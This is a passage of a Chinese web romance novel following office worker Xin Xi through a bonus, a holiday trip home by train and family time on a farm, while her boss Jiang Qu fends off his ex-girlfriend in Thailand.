辛熙:都还没做出成绩,就想要先要钱,老板也不傻的。
叶眉:呜呜~老板不傻,就只能咱们自己装傻了。
辛熙:装傻......但真穷。
叶眉:扎心了,妹子。你36度的嘴怎么能说出这么冰冷的话。
辛熙:哈哈哈哈哈!
施琪将下午茶拿到会议室,线上的小伙伴发出感叹:离老板近就是好啊,随时有关爱福利。
“都有都有,姜总说了,其他区的你们自己点,付款链接发给我。”
齐声一阵欢呼,“谢谢老板!”
辛熙是真的有些饿了,拿起三明治就开吃,卢湘撇撇嘴,嫌弃地说:“整得跟没吃午饭似的。”
“嘿嘿,中午就吃了两口饭,是饿了”,辛熙一边吞咽一边说,“谢谢施琪姐。”
“不用谢我,姜总买的。”
“哦,那谢谢姜总。”
虽然他听不见,但我的礼数还是做到了的,辛熙心安理得。
事情最终只有叶眉和辛熙主动报了名,她俩一南一北的,打头阵,倒也不错。
会后,施琪向姜渠汇报结果,他只淡淡地点头,并不意外。
施琪却露出一种意味深长的表情,问他:“你怎么知道,辛熙一定会加入?”
姜渠在一开始就说让她放心,至少会有一个人愿意的。而这个人是谁,现在看来,不言而喻。
“她不是想做销售么?这是一条捷径。”
“所以!你为她提供了一条捷径?”
施琪的脑回路令姜渠怀疑她哥大的毕业证是花钱买来的,“她凭什么?”
“我也想知道她凭的什么。姜渠,你不对劲儿啊”,施琪觉得自己此刻是火眼金睛,明察秋毫,离真相只差一步之遥了。
姜渠简直无语,我至于吗?他在小学阶段就已经从那些美色误国的昏君身上习得了教训。更何况,她可没什么倾城貌,至多是......看着舒服?
姜渠十分坦然,指着桌上的一沓文件,“如果你太闲的话,我这里......”
“那倒没有”,施琪赶紧抱着笔记本,站起身,“我接下来还有两个会,如果我今天又无法准点下班的话,姜总,工会明天就会收到我的投诉。”
施琪走到门口又折回来,双手撑在姜渠的办公桌前,“但我其实不太明白,辛熙为什么想做销售,这不符合她的人物性格。”
“那是你的刻板印象。”
“是么?”施琪耸耸肩,“或许是为了多赚点钱?”
没等姜渠回答,她已经自言自语地否定了这种猜测,“虽然她全
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身上下没有一样是大牌,但能感觉得出,她没有什么经济压力或者是说什么物质欲求。”
姜渠不置可否。
“难不成现在还真有人像你一样,讲什么职业理想?”
“你不是么?”
“我不是。我跟着你,纯粹是为了好玩。”
“或许,这也是你的职业理想。”
施琪被激起一身的鸡皮疙瘩,赶紧退走,“早晚要被你洗脑了。”
辛熙在下班前接到了辛雅的电话,说晚上要和她一起吃饭,辛熙有些奇怪,姐妹俩虽然同在一座城市,但辛雅太忙了,忙得总是没有时间见她。
“你前两天是不是去爸妈那儿扮可怜了?”
“没有......吧。”辛熙想着周六晚上的那通电话,底气稍显不足。
“不然他们怎么连番地打电话让我要多关心你,多照顾你。”
“这样子啊......对不起啊,姐,我那天......喝了点儿酒,就......”
“你喝酒?你什么时候学会喝酒了?跟谁喝的?男的女的?”
辛雅的音浪越来越高,吓得辛熙赶紧捂住手机,连叫了两声“姐”,“你听我说,就我和早早两个人,真的。”
险些要指天发誓了,辛雅暂时放过她,“下班在公司楼下等我,我来接你。”
“嗯嗯。”
下班的时候,辛熙在公司楼下和何耀丹正面碰上。
“欢迎你加入销售部,何工”,辛熙自认表现得落落大方,输给何耀丹并不可耻。
“还叫什么何工,叫我耀丹就行”,何耀丹离开交付团队以后,人似乎也变得亲近柔和了。
辛熙朝她点头致笑,“有什么需要帮助的,可以随时找我。”
一个声音从身后传来,不冷不热地,“你不给何工添麻烦就已经是最大的帮忙了。”
何耀丹朝身后莞尔一笑,那笑容,带着几分娇羞,“姜总,您来了。”
辛熙往旁边让了让,想这人好好滴干嘛要怼我,再又看他和何耀丹很明显是有约的,立马打了个激灵,“那我不打扰你们了,姜总再见、耀丹姐再见。”
辛熙逃得很快 ,有时候真为自己的过于敏锐,感到困扰。
辛雅的车子刚好开到,辛熙飞奔着坐上车,催促着,“姐,快走、快走,快开车。”
“干嘛?偷公司机密文件了?”辛雅一边启动一边揶揄。
辛熙还真是跟做贼似的,直到车子开出去好远,确认已经驶出主街才敢坐直身子,忐忑着问:“姐,如果不小心发现了老板的秘密该怎么办?”
辛雅面无表情地回答:“哪方面的秘密?”
“嗯?”
“如果是工作方面的,那我劝你闭上嘴,忘了这事儿,高层里的弯弯绕绕水太深,你这样的小虾米如果掺和进去,恐怕最后怎么死的都不知道。如果私人生活上的,嗯......你倒可以借此当你的登云梯,如果你想要升职加薪的话,这倒不失为一条捷径。”
升职加薪谁不想,可登云梯......辛熙觉得自己也没那种命,“那还是算了吧”。
何耀丹看着飞奔而走的辛熙,笑说:“她似乎很怕你。”
“有吗?”姜渠轻轻带过,恢复那派绅士风度,替她推开玻璃门,“这边请。辛苦何工在下班时间还得去影像科做现场指导。”
“应该的,我也想多收集些实操中的需求,方便我们今后有针对性地调整方案。”
姜渠十分满意,“新的团队交给你,我会非常放心。”
“定不辱使命。”
19. 第 19 章
事实证明,姜渠的领导力不单单在收服人心上,知人善用也是管理者的必修课。而何耀丹转岗后的表现,也为姜渠在这一课题上交了满分答卷。
辛熙在接下来的两周多的时间里瘦了七八斤。边做边学是件非常困难的事情,尤其是陌生的领域,投入的时间和精力都是成倍的。
大学时天天嚷着减肥,却管不住嘴迈不开腿,没想到,忙起来后自然就瘦了,甚至有些过于瘦了。
今天是五一节前的最后一个工作日,辛熙上半身穿了一件淡蓝色的紧身针织衫,长短刚好与裤腰边接壤,可等到了公司,才发现牛仔裤松松垮垮地大了小半圈,稍一动就会露腰。
临时找了个资料夹将裤腰边夹着,以免走光,但这也将腰线更好的展露出来,虽然她自己并未发现。
黑丝绸般的秀发被一只银白色的鲨鱼夹夹住,工作半天后已经有些凌乱,散了几缕在细白的脖颈处,勾着蓝色的工作证挂绳。
辛熙到茶水间冲咖啡,手机银行发来短信提醒,才知道一个月又结束了。
犒劳一个月的辛勤工作,工资总能在这一天准时到账,虽然还掉信用卡后,已经所剩无几。
等等!辛熙又重新点开通知短信,认认真真、仔仔细细地反复确认了下数字。
四月啊,是会发年终奖的四月啊!辛熙怎么也没想到,她的奖金居然有三万!
三万啊~辛熙高兴得直跺脚,这是她人生第一次可以用“一笔”这个量词来形容自己的收入。
嗯,是一笔不菲的奖金,嘿嘿。
辛熙手舞足蹈,鲨鱼夹上冒出来的发尾颠来颠去。
在被其他同事发现之前,辛熙一口气冲到了楼梯间,大手一挥,首先在家庭群里发了个大红包:我今天发工资了!!!然后,还有奖金!!!三万块!!!然后是屁颠屁颠的各种傲娇表情包。
辛爸辛妈响应很快:妹妹真棒!领了奖金要给自己买几件漂亮裙子哦。
辛爷爷戴着老花镜,手写的消息来得慢一些:熙熙也能赚钱啦,爷爷为你开心。随后又补了一句:奶奶让我问你,五一节回来不?奶奶要给你做大餐,犒劳你。
辛熙回答:要回来的,我已经买票了。爷爷,您跟奶奶说,今晚好好睡,明早睁开眼睛就能看到我啦。
辛爷爷:好,好!姐姐跟你一起回来吗?
辛雅早就确定了五一要和男朋友去新疆自驾游,辛熙回:姐姐太忙啦,可能回不了哦。
辛爷爷:也好,也好,省得来回折腾。熙熙啊,节假日你约着朋友出去玩啊,别老惦记家里。
辛熙乖巧地回了个:知道。
退出微信,辛熙赶紧在网上下单了那款相中好久的电动轮椅。
辛爷爷去年因为脑梗进了一次医院,恢复后就一直腿脚不利索,外出都靠辛奶奶推轮椅,好在辛爷爷一直乐观,每天练练字,去楼下小区下下棋,再扶着轮椅练练走路,慢慢有了起色。
辛爸辛妈再三劝二老搬过去和他们同住,但二老不愿意给后辈添麻烦,说什么都不同意,最后只折中,答应让儿子添点钱,将房子置换到同小区的一处带花园的一楼。
虽然在一楼,但较路面架高了几米,每日进出都需要从一个带点坡度的无障碍通道上上下下。
辛熙总觉得奶奶辛苦,虽然奶奶说没关系,当是锻炼身体。
这款电动轮椅她早就想买,无奈囊中羞涩,工作了又不好意思再找爸妈要钱,辛雅那里,就更不好开口了。
今天,终于靠自己,全款拿下了!
辛熙十分开心,虽然奖金到手还没焐热,就又只剩一瓶矿泉水钱了。
安全通道的门忽然被推开,辛熙着急地站起身,伴随着一声“吧嗒”,辛熙感觉一个弹射力,腰间一松,资料夹以迅雷不及掩耳之势落在两人之间。
“姜,姜总。”
姜渠淡淡地看了她一眼,点了个头,继续在接他的电话。
辛熙却并不敢动,双臂微微用力抬着裤腰,有种随时会走光的局促感。
“有事?”姜渠将电话移开,疑惑地问她。
“哦,没有,没有”,辛熙只能以极其别扭的姿势,慢慢移出了他的视野。
姜渠接完电话后才看见了静静躺在地上的资料夹,而这个资料夹,他曾在一处娇娆之地见过。
嬛嬛一袅楚宫腰,脑中不由自主地匹配上这句词,但似乎在这个场合,显得并不妥当。
经过茶水间的时候听到几个女生正在分享假期计划,语调高亢,似乎都对即将到来的假期充满期待。
打工人怎么能不期待假期呢?更何况,是不用调休的假期!
一个并不熟悉的女声发出惊讶,“辛熙,你居然带了行李箱,是下了班直接走吗?”
“对啊,我买了今晚的票”,真是一刻都不能多待。
“你要去哪里玩儿?都跟谁呀?”
满心期待的语气,在听到她只是回老家后,立马降调,“国庆、春节、五一,所有的长假你都回了家。你家里不会有什么青梅竹马的情哥哥在等你吧?”
一阵哄笑盖过了踱过来的脚步声,还好有人眼尖,看见姜渠经过,喊了声“姜总”,哄闹声像忽然被人掐断了电,终止。
姜渠点头致意,转过弯,目光抓取到那个工位下粉色的长方形箱子,审美真是......不敢恭维。
施琪从另一个方向跟过来,问他:“你真的不跟我们去甲米岛?我们明天就出发了。”
“我没办签证。”
“泰国现在免签。”
“订机票也来不及了。”
“徐进可以搞定。”
姜渠停下脚步,一枚蓝色的资料夹在指尖被翻来翻去。
“Deep Water Soloing,你不想玩?”施琪试图说动他。
国内能和她玩这些户外的就只有徐进和姜渠了,可徐进走到哪里都不忘撩美女,随时可能将她中途撂下,她的旅程极有可能乏味至极。
刚好辛熙抱着文件经过,施琪甚至打起了她的主意,“五一有什么安排呀?要不要跟姐姐去攀岩?”
“攀岩?”辛熙眼睛都亮了,“可我已经买了回家的票了。”
“那好吧....
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..”乖孩子总是喜欢回家找妈妈的。
辛熙正好需要请假,就想着顺道说了,“施琪姐,我下午可以早些走吗?我要去赶火车。”
“当然啦,你先把紧急的重要的事情处理了,其他的,能放着就先放着吧”,施琪说完,又想起身边还有个大老板,问:“咱们姜总,也不介意的哈?”
“把电脑带上,保持on call。”
毫无人性,但......“好的。”
辛熙看见了姜渠手中的蓝色资料夹,像有什么在隔着衣料,挠那不知深几许的敏感处,心慌得赶紧转身走开。
身后的人敛起目,轻轻扫过那重新别在腰间的一对资料夹,一只黄的一只绿的,妥妥帖帖地立在山坳底。
“我只去三天。”
“得嘞,我马上让徐进定机票。”
蓝色的资料夹被顺手放在格子间的挡板顶上,无人在意,好像它本来就应该是在这里的。
西站,在全国高铁高速发展的当下,唯有它,还保留着绿皮火车。
辛熙特别喜欢坐这一趟车。
大学时候,她就经常坐这辆车往返学校和家里。晚上七点出发,在火车上歇一歇,再睡一觉,等天一亮,就到家了。
候车的时候,接到了辛雅的电话,“又坐的绿皮火车?也是不嫌累。”
“不累啊,睡一觉就到了”,也没有自驾游累吧,辛熙在心里反驳。
“懒得跟你争。我待会儿给你转点钱,你帮我给爷爷奶奶买点东西。”
“要买什么呀?”
“看他们喜欢什么买什么吧,或者你取成现金,给他们也行。”
“他们不会要的。”
“所以我让你给,你总是有办法的。”
讨长辈喜欢,顺长辈心意,辛熙仿佛天生神力。
“好的,保证完成任务。”
傍晚的西站,依然人潮涌动,夕阳余晖在渐褪时突然杀了个回马枪,耀着人眼睛睁不开。
辛熙看到一个人在朝自己挥手,但并不确定。
江准背着一个登山包,一身灰棕色的户外冲锋衣,过了安检后迫不及待地跑向她,“我刚还怕我认错人了呢,真的是你啊,好巧。”
巧遇这种事情只要不是讨厌的人,都值得开心吧。
辛熙也很开心,将自己旁边的位置腾出来给他,“对呀,好巧,你这是要去哪里?”
江准直接报了目的地,“和公司的几个小伙伴,约着去爬华山。”
辛熙这才注意到,不远处有几个同样着户外装扮的青年男女,正齐刷刷地朝他们这边打量。
江准并没有因此有任何的不自然,他将自己的欢喜表现得坦坦荡荡。
京北到西安的这班快车,会先经过榆林,江准看到辛熙手中的蓝色车票,他们甚至是同一班车次。
江准以前从不相信什么缘分天定,但那一天,他决定信奉神明。
他们的位置隔着一节车厢,上了火车,江准先陪同辛熙找到位置,再将她的行李放置在行李架上,才去了自己的车厢。
温柔又妥帖。
20. 第 20 章
同行的伙伴少不了要打趣,甚至有人直接说:“准哥,我们以为你不回来了,直接在那边找个人换位置呢。”
江准不是没有考虑过,但这未免,有些唐突了,他出声制止,“别乱开姑娘玩笑。”
一个女生取下遮阳帽扇在贫嘴的男生背上,“嘴上有把门儿的没?”
男生吃痛着躲开,“肖楠,你还是个女的不?下手咋这么有劲儿。”
肖楠继续扇他,“是不是不服?是不是不服?老大这难得老孔雀要开屏了,你是不是要把人姑娘吓走才安心?”
“知道了,知道了”,袁新河连连求饶。
其他人见惯了他们的打闹,除了看戏的,没有一个人会去劝,不添柴拱火就算是好的了。
他们都是在大学里就跟着江准的,后来国家鼓励大学生创业,江准牵了头,做起了医药代理,其他人几乎想都没想,就跟了上来。
志同道合者,在初创的困境里,报团取暖。
火车启动时,车窗外已经暗下来了。
可在城市里,永远不会迎来彻底的黑暗。
车厢里亮起了灯。
江准时不时过来给她送些吃的喝的,每次也不多停留,匆匆但事无巨细。
倒是对面床铺的大妈先看不下去,问:“小伙子,你在哪个车厢咯?要不要跟大妈换个位置啊?你这样跑来跑去的,怪辛苦的嘞。反正大妈也一个人,坐哪里都一样”,又问,“你俩小情侣咋没买到一起的?”
辛熙为此红了脸,与此同时,她在江准的脸上也看到了一种羞涩的红晕。
江准先给大妈解释了一通,大妈先是觉得抱歉,后又半信半疑,流露出一种非常八卦的表情,甚至在江准走开时,劝辛熙:“小伙子不错的啦,可以考虑考虑。”
辛熙有些不自在,索性在江准提出让她去他们那边玩儿时,答应了。
大妈的笑里多了些意味深长......
放开自己、走出去、遇见和接纳不同的人,这是辛熙给自己下的目标。
她不知道别人是不是这样,但她自己就是一个连社交都得当成一项任务,需要努力去做,随时喝鸡汤打气,才能保证不半路出逃的人。
好在,她怕社交,却不惧怕努力。
和江准一道的人,年纪都和辛熙差不多大,初出茅庐的牛犊,都不怕向虎山行。
一通介绍下来,发现大家也算同行,聊起行业里的各种八卦,一个接一个精彩,精彩到让辛熙想做销售的勇气火焰小了那么一点。
江准在辛熙瞠目结舌时安慰到:“也别怕,林子大了什么鸟儿都有,也不是咱们这个行业的问题。”
“对啊,我有个高中同学在金融行业,每回同学聚会说起他们里面的事儿,随便拎出来一件都够喝几壶的。”
“说说,说说看。”
总有人乐此不疲。
所有骇人听闻的绯闻八卦里,就仨字,“钱”、“权”和“色”。
辛熙觉得自己都缺,但又都不需要。
“那是你没有尝过其中滋味”,一个坐在靠车窗位置的男生忍不住揶揄,“就说一个男人没有钱,你能看得上吗?”
辛熙忍不住与人battle一场,“没有钱,但是善良、上进、有责任心,为什么看不上?你说的没有钱不被看上的男人,可能不只是没有钱,他同时还缺少其他很多美好的品质,但他只愿意承认自己不被喜欢,是因为没有钱。”
尽管辛熙语调和缓,但男生敏感的自尊心还是被磨擦出了点火/药味。
肖楠偷着发笑,她早看不惯吴行那副全天下女人都物质都世俗的嘴脸了,但大家毕竟同在一个团队,她不想动摇军心,所以一直忍着没回怼。
袁新河见气氛不对,自然地跳出来打着圆场。
他一向最活跃。不知道谁先起了哄,袁新河开始高歌,隔壁有位大叔带了萨克斯,起兴时,跟着奏起来。凤凰传奇的歌曲几乎可以在任何时候,引起共鸣。
大家随手敲着可以发声的物体配着乐,在每一段副歌的部分,齐声有力,昂扬而自由。
上大学的时候,辛熙也曾和几个要好的同学一起旅游,东南西北,住青旅,坐绿皮火车或红眼航班。只是后来,大家都各自奔向了东南西北,只有她还留在了京北。
江准的这群小伙伴,让她想起了她们。
辛熙拍了段视频发到群里,配文:想念大家了。很快便收到一连串的邀约,虽然都遥遥无期,但有个念想也是好的。
视频也发给了辛雅,想告诉她,这就是绿皮火车的乐趣,辛雅回她:如果我想听歌,可以去看演唱会。
辛熙抿嘴,倒不在意,又再发了条朋友圈:满载欢乐的列车。
点赞的人接二连三,等辛熙看到的时候,已经很晚了,同时错过的,还有姜渠和施琪的语音通话。
她先给施琪回了消息,施琪很快回她:没关系,事情已经处理了,你安心玩儿。然后才放心给姜渠回,想着事情既然解决了,肯定也不是什么非要自己做的。
消息发出去后,迟迟没有回复,辛熙有些忐忑,犹豫着是不是也应该回个电话过去。
江准见她有些心不在焉,以为她在为刚才的事情介怀,解释到:“你别在意啊,吴行最近刚失恋,女朋友嫌他在京北买不起房。”
辛熙为自己刚才的言辞觉得抱歉,“我刚并没有映射他的意思。”
“我知道。”
辛熙微低着头看手机,额前的碎发散落,挡着眉眼,火车早已驶出又一座城市的街景,渐渐没入彻底的黑暗。
心底某一处似有小猫抓挠,江准忽然地抬手,在抵达之前,被一阵手机来电打断,动作绕到脑后,挠着自己寸发,自以为的自然,其实心思差一点就泄露了。
辛熙匆匆走开,手忙脚乱地接起,“您好,姜总,有什么事吗?”
生怕又耽搁了,也生怕刚才的气氛被延续下来。
“刚为什么没接电话?”
“火车上,信号不太好,没听见。”
短暂的沉默被列车的轰鸣声碾碎在铁轨上,轰隆轰隆,摇摇晃晃。辛熙也
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并没有再说话,少了直面时的压迫感,她好像能够轻松面对这个人。
他问她为什么坐火车,火车要坐多久,问她五一的安排,老家的位置,问她下了火车怎么回家,就是没有一句话是关于工作的。
看来事情是真的已经解决了,辛熙悬着的心落回地面。
在列车上的一晚,辛熙睡了个好觉,直到被江准叫醒,还有些恋恋不舍。
行李箱已经被江准提前拿了下来,稳稳地立在一旁,但他只是站在过道处叫她,并没有走近,也并没有帮辛熙收拾散乱的私人物品。
世界上怎么会有这么妥帖的人,细致周到,但又知分寸,守界限。辛熙想,和他做朋友一定会很舒心。
下了火车,辛熙直接去了爷爷奶奶家。
昨夜下了一场雨,天气稍显湿冷,她拉着拉杆箱刚走进小区,辛奶奶已经迫不及待地迎出来,站在花栅栏处,探头张望。
辛熙赶紧加速跑过去,“奶奶,不是说让您在家等我吗?怎么早就起来了。”
“年龄大了,觉少。”
辛爷爷双手撑着轮椅的把手站在一旁,笑说:“你奶奶哪里是觉少,知道你要回来,忙活到大半夜,早上早早又起了,兴奋得咧。”
辛爷爷精神抖擞,他不想以坐在轮椅上的形象来迎接自己的孙女,于是强撑着。
辛熙觉得愧疚,“那以后,我就不提前跟你们说了。”
“还是要说的,早一点知道你要回来,爷爷和奶奶可以早一点高兴的。”
老人家和年轻人的想法不一样。
就像辛熙瘦了这件事,她无比高兴,当成一件趣事分享给了爷爷奶奶。那可把老人家给心疼坏了,连忙打电话给辛爸,让他去农场里抓几只散养的走地鸡回来,要天天炖鸡汤给孙女补身体。
自小宠着疼着养大的孩子,少一两肉,在老人家这里都是不允许的。大好的日子,怎么还能把人累瘦了?又不是那些茹毛饮血的年代。
辛熙放下行李,先去洗了个澡,换了身舒适的衣服出来,网购的电动轮椅恰好送到。
辛爸辛妈过来的时候,辛熙正在教爷爷使用,“这一款还可以随时检测心率、血氧,只要这样点击这里,选择模式,然后......”
辛爷爷特别高兴,坐着轮椅在小花园里转圈,就像小孩子第一次玩上了电动玩具车。
辛熙在一旁再三叮嘱,“爷爷,速度不可以过快哦,而且不能久坐,可以做到吗?”
辛爷爷调皮地比了个耶。
一家人坐一起热热闹闹地吃过午饭,辛爸提议去农场里住几天,春日晴朗,农场那边空气也好,走地鸡满山地跑,还有各种新鲜的蔬菜水果,应有皆有。
辛熙最喜欢农场。
小时候一放假就闹着要去农场帮忙,还在很长一段时间里以继承农场扩大产业为己任,并为此选择了市场营销这个专业。虽然临近毕业的时候,辛爸问她要不要直接回家里来帮忙,她选择了先去见见世界。
见过世界再回来啊!辛熙想,终归是要回来的。
21. 第 21 章
四百年前的一颗苹果砸出个天才物理学家,四百年后的一颗苹果在中国西北部的一处山坡上自然脱落,砸中了一个抓老母鸡的辛熙。
老母鸡身姿矫健地在果木林里穿梭,辛熙累得大喘气,索性捡起苹果在衣袖上擦了擦,靠着树干坐下,一边啃苹果一边玩手机。
朋友圈里有天南地北的盛景,辛熙挨个点赞。
林早早趁着五一假期,扩大了产业,在翡翠湖旁支起了儿童充气城堡,夏淑芬和林大荣都在帮忙。
辛雅的自驾游已经启程,她一身西部牛仔风格的装扮,坐在车顶,身后是一望无际的旷野。
施琪说一夜通宵加班,刚刚落地泰国,满脸疲态,姜渠戴着墨镜,不情不愿地露出半张脸,照片里的三人只有徐进神采奕奕。
天色渐近黄昏,辛熙这里也有绝美的风光。
辛家的农场占地面积大,地势高,成片的果木林挂满了丰硕的果实,镶嵌在碧浪一般的山林间,如璀璨的宝石。
晚上的时候,江准发来了登山的照片。
他们一行人马不停蹄赶往华山的样子,让辛熙想到了那句:春风得意马蹄疾,一日看尽长安花。真的是很美好的年纪,辛熙喜欢这种朝气蓬勃的生命。
江准问了她的归期,她如实回答。
假日的第三天,辛熙接到了他的电话,他说他在榆林,又强调了一下,“还有肖楠和新河,我们仨。”
“其他人累的累了,有安排的有安排了,只有我们仨孤家寡人,想着既然来了一趟陕西就再多玩几个地方。有陕西的朋友推荐了榆林,我们就过来了,想起你好像说过你家就在榆林,是吧?”
成年人的不算太成熟的试探。
絮叨的解释,试图将自己的意图包装得顺其自然,又留有余地。
袁新河在旁边差点笑出声,被肖楠绑架式地捂住嘴。
奶奶给辛熙端来鸡汤,一连几天,辛熙觉得农场里的鸡仔看自己的眼神都变得充满敌意。
“是有朋友过来了吗?”辛奶奶隐隐听到一些。
辛熙点头。
“那要不要请他们到农场来玩?”
“时间不够啦,他们要去波浪谷。一来一回,肯定来不及了。”
萍水相逢的关系,邀请人家来家里玩,未免热情得太过了。
“那你可以和他们一起去玩啊?”虽然舍不得自家孙女儿,但辛奶奶还是更希望她能和更多年轻的朋友们在一起。
辛熙舍不得提早离家,又对奶奶说:“节假日景区都是人挤人的啦,等回了京北再约吧。”
说得好像,她在京北也是可以呼朋唤友的。
辛奶奶从不怀疑,她的孙女乖巧懂事,理应有很多朋友来丰富人生的旅程。
辛熙也将这个话回给了江准:我就不去啦,难得回来,我想多陪陪家里人,祝你们玩得开心哦。
江准回复得很快:好的,那回京北再见。
辛熙放下手机,透过房间的窗户向外探望,雨绵绵的一天,农场之外的山林间云山雾绕,有种置身于尘世之外的错觉。
而姜渠等人,此时,正于尘世之中沉迷。
油画大师笔下的绚丽海岸,涌来层层叠叠的白色浪花,棕榈树遮天蔽日,给各种喀斯特风貌的岩石涂染上别致的绿。
徒手攀岩,是项危险又刺激的运动,但当人爬到海岩顶端,纵身一跃的瞬时,那种血脉偾张带给人刺激,一定会为寻常生活里那些无解的纠葛找到出路。
姜渠不算一个真正的冒险主义者,但他确实在极限的感官刺激里,获得过新生。虽然他很快就意识到,人并不能永远依靠这种外在的强刺激来抵抗被命运磋磨后的麻木,于是转而向内探索,刻意地减少了冒险。
那时,刚好认识了佟歆亚,他期待热烈的爱情给内心深处的极寒之地加温,于是很快接受了这个美丽姑娘的主动示好。
可他忘了,爱情本身,也是一场冒险。
“想什么呢?”徐进朝他扔过来一罐啤酒,指着不远处的沙滩椅说:“先申明,她不是我叫来的。”
佟歆亚自然有自己的办法了解他们的行程,他们在国外的朋友圈子几乎可以相互覆盖。
沙滩椅上,佟歆亚将自己包裹得严严实实,她声称自己紫外线过敏,从来不肯多晒一分钟的日光。
他们刚上飞机,就发现了她,没有人会傻到当成是场巧遇。
姜渠喝干了冰啤酒,阳光很快晒干了他身上的海水,他有些烦躁地抓起躺椅上的外套,“跟施琪说,我先回酒店等你们。”
“诶,再玩玩?”徐进尚未尽兴。
姜渠兴致不高,执意离开。
施琪从海里游上来,只看见包裹得像粽子一样的佟歆亚追在姜渠的后头,跟了过去。
徐进递毛巾给她,叹道:“啧啧,我怎么遇不到一个对我这么一往情深、穷追不舍的妹子。”
施琪白了一眼,“你这朵浪里小白花,又浪又花,就别再想着霍霍纯情小姑娘了”,说完施琪又特意指了指,“就你手机里那个。你天天给人报备行程,看见朵花儿都要拍给人家的,今早在哪张床上醒来的报备没有?”
徐进满不在乎地笑笑,“我又没谈恋爱,单身者自由!”
“要自由者永远单身!”施琪又白了他一眼。
“你在诅咒我?”
“我在祝福你。”
“我谢谢你。”
“您客气。”
施琪回到酒店的时候,正好碰见了姜渠和佟歆亚在拉扯。玉石般润白的双手紧紧抓着被阳光晒成麦色的小臂,肌肤之间的色差似乎宣告了二人之间的不和谐。
孔雀公主低下了她高傲的头颅,“Jim,我真的后悔了,我爱的人只有你,你能感受到的,对吗?我们和好,好不好?”
姜渠几乎没留情面,“你没有机会了。一开始我就说过,我不接受任何形式、任何理由的背叛。”
“Jim,对我宽容一些,好不好?我们的朋友们,没有人像你这样保守。你最好的朋友徐进,他的花边事儿还少吗?”
“Jim,你总不能在这种事情上,搞男女双标吧?”
施琪差点笑出声,可下一秒她就听到了自己的名字,“还有施琪,她都换了多少任男朋友了。他们是你最好的朋友,Jim,只有你的思想老旧得像在上一个时代。”
骄傲的公主永远不会真的认错,即便她低下了她高傲的头颅。
“Jim,我已经从纽约追回了国,又追到了这里,你作为男人的尊严和面子都应该有了,我的诚意你不能视而不见。”
佟歆亚确实知道错了,在她切切实实意识到自己正在失去姜渠时,可佟大小姐并不习惯低头。
姜渠懒得再和她多说,“分手的原因随便你对外怎么说,但咱俩分手的事实已成定局。佟歆亚,死缠烂打不符合你的人设。”
佟歆亚难以置信,“难
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不成,你真的已经另结新欢了?”随后,她又有些庆幸,“也好。我一局你一局,咱们扯平,你也别计较了,好么?”
姜渠忽然笑了,拍了拍她的肩,不再多说。
佟歆亚不明所以,只能拦下想从旁边溜走的施琪,做最后一搏。
即便她们向来不和。
“他的新女友,你们都见过了?”
如果她俩是好朋友,她甚至想问,他的新女友是谁?长得漂亮吗?有我漂亮吗?或者,哪里比我好吗?
施琪答非所问,“佟歆亚,这个世界不是你的游乐场。”
佟大小姐难得落寞的样子,让施琪生了两分恻隐之心,她想劝劝她,毕竟没有人需要被一段判定为死亡的关系延长服刑期。
可佟大小姐没有给她机会,而是问:“不会就是你吧?不然你怎么跟着Jim跑回了国?”
施琪哭笑不得,在她还是姜渠的正牌女友时,施琪就因为这事跟她解释过很多次,如今,倒是没有必要了,“你开心就好。”
姜渠提前结束了海岛行。
黎英跳完广场舞回家,被客厅里的大剌剌躺着的人影吓了个大跳,“怎么过来也不先打个招呼了?”
“我的电话,您也不接啊?”
黎英放下东西,走到辛熙的卧室瞧了瞧,随后关上了门。早上她刚帮辛熙打扫完卫生,忘记关门了。
这一切落在姜渠的眼中,“您放心,我进门后就一直坐在这里,没乱走也没乱看。”
黎英当然相信他,但还是多强调了一句,“姑娘家的卧室,当然不能随便乱进乱看。”
“那曾经是我的卧室,您就能随随便便给别人住?”
“一间卧房而已,有什么不能住的。”
得,自讨没趣,但五一最后的两天假,姜渠还是赖在了这里,这是他长大的地方。
黎英的老年生活十分丰富,哪怕是独居的那段时间,她也不曾让自己孤独过,所以当她回家见到在餐桌上伏案工作的姜渠时,觉得这孩子孤孤单单又可怜兮兮,第二天就张罗着自己的老姐妹们,撒开人际关系的大网,势必要给姜渠好好介绍个女朋友。
“什么意思?”姜渠看着手机上忽然被推送过来的一连串微信名片。
“让你加好友,都聊聊,兴许能遇到个有缘的。年纪轻轻地,别整天只知道忙工作。虽然我从小教你,待人要真诚,对待感情不能三心二意,但咱也不能光在一棵树上吊死啊,花花世界,总会有喜欢你的姑娘,别泄气、要勇敢。”
姜渠一脸问号:“您......”
“没被人看上不是什么丢脸的事情,昂~”黎英实在不忍心拆穿,可姜渠这两日的状态她是看在眼里疼在心里。
姜渠总算明白过来,“您不会是以为我失恋了吧?”
“不然呢?好好的假期,你待在我这儿。上回我就说,你还不承认,搞砸了吧。”
“我说了,她只是同事。”
“同事?那岂不是更尴尬。”
姜渠找不到更贴切的词语来形容他们的关系,索性不在辩驳,这在黎英看来就是一种默认,于是将话题拉回来,“我给你推荐的那几个姑娘呢,都是我几个老姐妹精心筛选过的,知根知底的好姑娘,你好好聊,知道吗?”
姜渠当然没有那心思和人相亲、网聊,他并不觉得自己孤独,更不觉得自己需要一段刻意的恋爱。他已经做过错误的尝试,绝不会再轻易蹚一次浑水。
22. 第 22 章
五一收假回来后,每个人都变得更加忙碌。
辛熙很少在公司见到姜渠,只偶尔在销售群和朋友圈,以及司内的宣传图页上,知道他辗转于各地的行业大会,又和哪家医疗集团签下了年度框架协议,或者是和哪个地市的政府达成了战略合作。
辜自卿用公邮将一封封恭贺信群发给了全公司,这是企业文化建设的一部分。
辛熙兼着之前的支持工作,又承担了部分业务上的事情,忙起来就更是没日没夜。
五月末,张鑫让辛熙替他参加津南二院的招标会,他说得很简单,“我已经和医院的领导谈好了,招标会就只是走个形式。”
即便如此,辛熙依然忐忑,在高铁上将准备的资料反反复复地检查,发现投标价格偏高,于是给张鑫拨了个电话过去。
张鑫那头的声音嘈杂,扯着嗓子应她,“什么事?长话短说。”
“我看了下标书上的价格,和我们之前合作过的其他同类型服务合同相比,价格有些偏高,是不是......”
“我说辛熙,你是不是傻啊,我们卖东西,当然是卖出去的价格越高,公司利润也越大啊。你这倒好,还想为甲方省钱。”
张鑫反驳的话里带着一丝傲慢,辛熙习以为常,而在自己不擅长的领域,她没有底气反驳,“不是,我只是担心......”
“不用担心,这家医院病人量大,营收高,有钱,给得起。”
辛熙只能算了,张鑫的话并不是没有道理的,而且受地域经济环境影响,各地的物价尚且会有不同,何况是这种可以议价的服务合同。
